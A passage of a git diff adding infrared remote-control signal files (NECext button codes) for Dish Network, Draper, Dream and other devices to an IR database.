a/assets/resources/infrared/_CSV-IRDB_/Dish Network/Satellite/48,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Dish Network/Satellite/48,-1.ir new file mode 100644 index 000000000..352177de0 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Dish Network/Satellite/48,-1.ir @@ -0,0 +1,20 @@ +Filetype: IR signals file +Version: 1 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 12 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 13 00 00 00 +# +name: MUTE +type: parsed +protocol: NECext +address: 30 00 00 00 +command: 14 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Dish Network/Satellite/8,0.ir b/assets/resources/infrared/_CSV-IRDB_/Dish Network/Satellite/8,0.ir new file mode 100644 index 000000000..387949e16 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Dish Network/Satellite/8,0.ir @@ -0,0 +1,14 @@ +Filetype: IR signals file +Version: 1 +# +name: VIEW_TV +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 16 00 00 00 +# +name: VCR +type: parsed +protocol: NECext +address: 08 00 00 00 +command: 2B 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Domland/Unknown_domland-MH10CA/131,101.ir b/assets/resources/infrared/_CSV-IRDB_/Domland/Unknown_domland-MH10CA/131,101.ir new file mode 100644 index 000000000..db5030f20 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Domland/Unknown_domland-MH10CA/131,101.ir @@ -0,0 +1,104 @@ +Filetype: IR signals file +Version: 1 +# +name: stopcd +type: parsed +protocol: NECext +address: 83 65 00 00 +command: 00 00 00 00 +# +name: KEY_TUNER +type: parsed +protocol: NECext +address: 83 65 00 00 +command: 01 00 00 00 +# +name: tapepause +type: parsed +protocol: NECext +address: 83 65 00 00 +command: 03 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 83 65 00 00 +command: 05 00 00 00 +# +name: KEY_VOLUMEDOWN +type: parsed +protocol: NECext +address: 83 65 00 00 +command: 08 00 00 00 +# +name: KEY_CD +type: parsed +protocol: NECext +address: 83 65 00 00 +command: 0B 00 00 00 +# +name: cdtrkdown +type: parsed +protocol: NECext +address: 83 65 00 00 +command: 0C 00 00 00 +# +name: KEY_TAPE +type: parsed +protocol: NECext +address: 83 65 00 00 +command: 0F 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 83 65 00 00 +command: 10 00 00 00 +# +name: disp +type: parsed +protocol: NECext +address: 83 65 00 00 +command: 13 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 83 65 00 00 +command: 18 00 00 00 +# +name: memocd +type: parsed +protocol: NECext +address: 83 65 00 00 +command: 1D 00 00 00 +# +name: KEY_AUX +type: parsed +protocol: NECext +address: 83 65 00 00 +command: 49 00 00 00 +# +name: KEY_VOLUMEUP +type: parsed +protocol: NECext +address: 83 65 00 00 +command: 4A 00 00 00 +# +name: band +type: parsed +protocol: NECext +address: 83 65 00 00 +command: 50 00 00 00 +# +name: cdtrkup +type: parsed +protocol: NECext +address: 83 65 00 00 +command: 52 00 00 00 +# +name: scan +type: parsed +protocol: NECext +address: 83 65 00 00 +command: 53 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Draper/Dropdown Screen/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Draper/Dropdown Screen/0,-1.ir new file mode 100644 index 000000000..85e5d5991 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Draper/Dropdown Screen/0,-1.ir @@ -0,0 +1,20 @@ +Filetype: IR signals file +Version: 1 +# +name: UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Draper/Electric Screen/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Draper/Electric Screen/0,-1.ir new file mode 100644 index 000000000..85e5d5991 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Draper/Electric Screen/0,-1.ir @@ -0,0 +1,20 @@ +Filetype: IR signals file +Version: 1 +# +name: UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Draper/Screen/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Draper/Screen/0,-1.ir new file mode 100644 index 000000000..85e5d5991 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Draper/Screen/0,-1.ir @@ -0,0 +1,20 @@ +Filetype: IR signals file +Version: 1 +# +name: UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Draper/Screen/2,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Draper/Screen/2,-1.ir new file mode 100644 index 000000000..83a2a2067 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Draper/Screen/2,-1.ir @@ -0,0 +1,20 @@ +Filetype: IR signals file +Version: 1 +# +name: UP +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 21 00 00 00 +# +name: DOWN +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 22 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 02 00 00 00 +command: 25 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Dream Multimedia/Unknown_URC7562/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Dream Multimedia/Unknown_URC7562/0,-1.ir new file mode 100644 index 000000000..7f0fc283a --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Dream Multimedia/Unknown_URC7562/0,-1.ir @@ -0,0 +1,188 @@ +Filetype: IR signals file +Version: 1 +# +name: KEY_0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: KEY_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: KEY_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: KEY_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 +# +name: KEY_4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: KEY_5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: KEY_6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: KEY_7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: KEY_8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: KEY_9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: LARGE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: KEY_OK +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0B 00 00 00 +# +name: KEY_POWER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: KEY_MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: KEY_INFO +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0F 00 00 00 +# +name: VOL+RIGHT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: VOL-LEFT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: KEY_CHANNELUP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 20 00 00 00 +# +name: KEY_CHANNELDOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 21 00 00 00 +# +name: KEY_VIDEO +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 22 00 00 00 +# +name: KEY_STOP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 29 00 00 00 +# +name: KEY_PAUSE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 32 00 00 00 +# +name: KEY_FASTFORWARD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 34 00 00 00 +# +name: KEY_PLAY +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 36 00 00 00 +# +name: KEY_REWIND +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 37 00 00 00 +# +name: SMALL +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 38 00 00 00 +# +name: KEY_AUDIO +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3B 00 00 00 +# +name: KEY_RECORD +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3C 00 00 00 +# +name: KEY_TEXT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3C 00 00 00 +# +name: LAME +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3D 00 00 00 +# +name: KEY_HELP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3F 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Dream Vision/DLP Projector/135,78.ir b/assets/resources/infrared/_CSV-IRDB_/Dream Vision/DLP Projector/135,78.ir new file mode 100644 index 000000000..ef0b625d1 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Dream Vision/DLP Projector/135,78.ir @@ -0,0 +1,248 @@ +Filetype: IR signals file +Version: 1 +# +name: MENU +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 02 00 00 00 +# +name: BRITE_UP +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 03 00 00 00 +# +name: BRITE_+ +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 03 00 00 00 +# +name: BRITE_DOWN +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 07 00 00 00 +# +name: BRITE_- +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 07 00 00 00 +# +name: FREEZE +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 0E 00 00 00 +# +name: SOURCE_SELECT +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 10 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 10 00 00 00 +# +name: UP +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 13 00 00 00 +# +name: DOWN +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 14 00 00 00 +# +name: DN +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 14 00 00 00 +# +name: AUTO_TRACKING +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 17 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 17 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 17 00 00 00 +# +name: RIGHT +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 20 00 00 00 +# +name: LEFT +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 21 00 00 00 +# +name: PRESETS +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 2C 00 00 00 +# +name: RESET +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 2C 00 00 00 +# +name: SOURCE1 +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 2D 00 00 00 +# +name: DVI_1 +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 2D 00 00 00 +# +name: SOURCE2 +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 2E 00 00 00 +# +name: RGB_2 +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 2E 00 00 00 +# +name: SOURCE3 +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 2F 00 00 00 +# +name: COMPONENT_3 +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 2F 00 00 00 +# +name: SOURCE4 +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 30 00 00 00 +# +name: SVHS_4 +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 30 00 00 00 +# +name: BLANK +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 31 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 32 00 00 00 +# +name: AUTO_IMAGE +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 33 00 00 00 +# +name: RESIZE +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 34 00 00 00 +# +name: OVERSCAN +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 35 00 00 00 +# +name: CONTRAST_UP +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 36 00 00 00 +# +name: CONTRAST_+ +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 36 00 00 00 +# +name: CONTRAST_DOWN +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 37 00 00 00 +# +name: CONTRAST_- +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 37 00 00 00 +# +name: POWER_ON +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 39 00 00 00 +# +name: POWER_OFF +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 3A 00 00 00 +# +name: NATIVE +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 3B 00 00 00 +# +name: 16:9 +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 3C 00 00 00 +# +name: 4:3 +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 3D 00 00 00 +# +name: LETTER_BOX +type: parsed +protocol: NECext +address: 87 4E 00 00 +command: 3E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Dream/Satellite/0,-1.ir b/assets/resources/infrared/_CSV-IRDB_/Dream/Satellite/0,-1.ir new file mode 100644 index 000000000..a6f8d8fce --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Dream/Satellite/0,-1.ir @@ -0,0 +1,212 @@ +Filetype: IR signals file +Version: 1 +# +name: (TV)_0 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 00 00 00 00 +# +name: (TV)_1 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 01 00 00 00 +# +name: (TV)_2 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 02 00 00 00 +# +name: (TV)_3 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 03 00 00 00 +# +name: (TV)_4 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 04 00 00 00 +# +name: (TV)_5 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 05 00 00 00 +# +name: (TV)_6 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 06 00 00 00 +# +name: (TV)_7 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 07 00 00 00 +# +name: (TV)_8 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 08 00 00 00 +# +name: (TV)_9 +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 09 00 00 00 +# +name: (TV)_> +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0A 00 00 00 +# +name: (TV)_POWER +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0C 00 00 00 +# +name: (TV)_MUTE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0D 00 00 00 +# +name: (TV)_INFO +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 0F 00 00 00 +# +name: (TV)_VOLUME_+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 10 00 00 00 +# +name: (TV)_VOLUME_- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 11 00 00 00 +# +name: (TV)_BOUQUET_+ +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 20 00 00 00 +# +name: (TV)_BOUQUET_- +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 21 00 00 00 +# +name: (TV)_VIDEO +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 22 00 00 00 +# +name: (TV)_TV(SMALL_BLACK) +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 29 00 00 00 +# +name: (TV)_EXIT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 2B 00 00 00 +# +name: (TV)_< +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 38 00 00 00 +# +name: (TV)_TEXT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3C 00 00 00 +# +name: (TV)_HELP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 3F 00 00 00 +# +name: (TV)_UP +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 50 00 00 00 +# +name: (TV)_DOWN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 51 00 00 00 +# +name: (TV)_AUDIO +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 52 00 00 00 +# +name: (TV)_RADIO +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 52 00 00 00 +# +name: (TV)_LEFT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 55 00 00 00 +# +name: (TV)_RIGHT +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 56 00 00 00 +# +name: (TV)_OK +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 57 00 00 00 +# +name: (TV)_RED +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 6B 00 00 00 +# +name: (TV)_GREEN +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 6C 00 00 00 +# +name: (TV)_YELLOW +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 6D 00 00 00 +# +name: (TV)_BLUE +type: parsed +protocol: NECext +address: 00 00 00 00 +command: 6E 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Dream/Satellite/10,0.ir b/assets/resources/infrared/_CSV-IRDB_/Dream/Satellite/10,0.ir new file mode 100644 index 000000000..2d940523a --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Dream/Satellite/10,0.ir @@ -0,0 +1,26 @@ +Filetype: IR signals file +Version: 1 +# +name: 0 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 00 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 04 00 00 00 +# +name: VIDEO +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 27 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 0A 00 00 00 +command: 44 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Dream/Satellite/11,0.ir b/assets/resources/infrared/_CSV-IRDB_/Dream/Satellite/11,0.ir new file mode 100644 index 000000000..1a429f049 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Dream/Satellite/11,0.ir @@ -0,0 +1,8 @@ +Filetype: IR signals file +Version: 1 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 0B 00 00 00 +command: 0C 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Dream/Satellite/25,0.ir b/assets/resources/infrared/_CSV-IRDB_/Dream/Satellite/25,0.ir new file mode 100644 index 000000000..d89f4d071 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Dream/Satellite/25,0.ir @@ -0,0 +1,38 @@ +Filetype: IR signals file +Version: 1 +# +name: 1 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 01 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 07 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 09 00 00 00 +# +name: STANDBY +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 0F 00 00 00 +# +name: STANDBY_2 +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 0F 00 00 00 +# +name: BLUE +type: parsed +protocol: NECext +address: 19 00 00 00 +command: 44 00 00 00 diff --git a/assets/resources/infrared/_CSV-IRDB_/Dream/Satellite/26,0.ir b/assets/resources/infrared/_CSV-IRDB_/Dream/Satellite/26,0.ir new file mode 100644 index 000000000..5f0561d86 --- /dev/null +++ b/assets/resources/infrared/_CSV-IRDB_/Dream/Satellite/26,0.ir @@ -0,0 +1,788 @@ +Filetype: IR signals file +Version: 1 +# +name: 0 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 00 00 00 00 +# +name: DIGIT_0 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 00 00 00 00 +# +name: 1 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 01 00 00 00 +# +name: DIGIT_1 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 01 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 02 00 00 00 +# +name: ABC +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 02 00 00 00 +# +name: DIGIT_2 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 02 00 00 00 +# +name: 2 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 02 00 00 00 +# +name: 3 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 03 00 00 00 +# +name: 3DEF +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 03 00 00 00 +# +name: DEF +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 03 00 00 00 +# +name: DIGIT_3 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 03 00 00 00 +# +name: 4 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 04 00 00 00 +# +name: 4GHI +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 04 00 00 00 +# +name: DIGIT_4 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 04 00 00 00 +# +name: GHI +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 04 00 00 00 +# +name: 5 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 05 00 00 00 +# +name: 5JKL +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 05 00 00 00 +# +name: DIGIT_5 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 05 00 00 00 +# +name: JKL +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 05 00 00 00 +# +name: 6 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 06 00 00 00 +# +name: 6MNO +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 06 00 00 00 +# +name: DIGIT_6 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 06 00 00 00 +# +name: MNO +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 06 00 00 00 +# +name: 7 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 07 00 00 00 +# +name: 7PQRS +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 07 00 00 00 +# +name: DIGIT_7 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 07 00 00 00 +# +name: PQRS +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 07 00 00 00 +# +name: 8 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 08 00 00 00 +# +name: 8TUV +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 08 00 00 00 +# +name: DIGIT_8 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 08 00 00 00 +# +name: TUV +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 08 00 00 00 +# +name: 9 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 09 00 00 00 +# +name: 9WXYZ +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 09 00 00 00 +# +name: DIGIT_9 +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 09 00 00 00 +# +name: WXYZ +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 09 00 00 00 +# +name: VOLUME_UP +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 0A 00 00 00 +# +name: VOLUME_+ +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 0A 00 00 00 +# +name: +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 0A 00 00 00 +# +name: VOLUME_DOWN +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 0B 00 00 00 +# +name: VOLUME_- +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 0B 00 00 00 +# +name: STOP +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 0C 00 00 00 +# +name: TV_[] +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 0C 00 00 00 +# +name: TV +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 0C 00 00 00 +# +name: BOUQUET_UP +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 0D 00 00 00 +# +name: BOUQUET_+ +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 0D 00 00 00 +# +name: CHANNEL_UP +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 0D 00 00 00 +# +name: CHANNEL_+ +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 0D 00 00 00 +# +name: BOUQUET_DOWN +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 0E 00 00 00 +# +name: BOUQUET_- +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 0E 00 00 00 +# +name: CHANNEL_DOWN +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 0E 00 00 00 +# +name: CHANNEL_- +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 0E 00 00 00 +# +name: POWER +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 0F 00 00 00 +# +name: TV_POWER_(TOGGLING) +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 0F 00 00 00 +# +name: POWER_TOGGLE +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 0F 00 00 00 +# +name: DREAM +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 20 00 00 00 +# +name: MENU +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 20 00 00 00 +# +name: CURSOR_UP +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 21 00 00 00 +# +name: UP +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 21 00 00 00 +# +name: MENU_UP +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 21 00 00 00 +# +name: CURSOR_DOWN +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 22 00 00 00 +# +name: DOWN +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 22 00 00 00 +# +name: MENU_DOWN +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 22 00 00 00 +# +name: CURSOR_LEFT +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 23 00 00 00 +# +name: LEFT +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 23 00 00 00 +# +name: MENU_LEFT +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 23 00 00 00 +# +name: CURSOR_RIGHT +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 24 00 00 00 +# +name: RIGHT +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 24 00 00 00 +# +name: MENU_RIGHT +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 24 00 00 00 +# +name: SELECT +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 25 00 00 00 +# +name: OK +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 25 00 00 00 +# +name: CURSOR_ENTER +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 25 00 00 00 +# +name: ENTER +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 25 00 00 00 +# +name: AUDIO +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 26 00 00 00 +# +name: VIDEO +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 27 00 00 00 +# +name: GUIDE +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 27 00 00 00 +# +name: INFO +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 28 00 00 00 +# +name: A +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 30 00 00 00 +# +name: B +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 31 00 00 00 +# +name: C +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 32 00 00 00 +# +name: DDD +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 33 00 00 00 +# +name: SHIFT-STOP +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 34 00 00 00 +# +name: SHIFT-RECORD +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 35 00 00 00 +# +name: REW_<< +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 40 00 00 00 +# +name: RED_<< +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 40 00 00 00 +# +name: > +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 40 00 00 00 +# +name: RED +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 40 00 00 00 +# +name: REWIND +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 40 00 00 00 +# +name: PLAY +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 41 00 00 00 +# +name: GREEN_> +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 41 00 00 00 +# +name: GREEN +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 41 00 00 00 +# +name: PAUSE +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 42 00 00 00 +# +name: YELLOW_II +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 42 00 00 00 +# +name: YELLOW +type: parsed +protocol: NECext +address: 1A 00 00 00 +command: 42 00 00 00 +# +name: FFW_>> +type: parsed 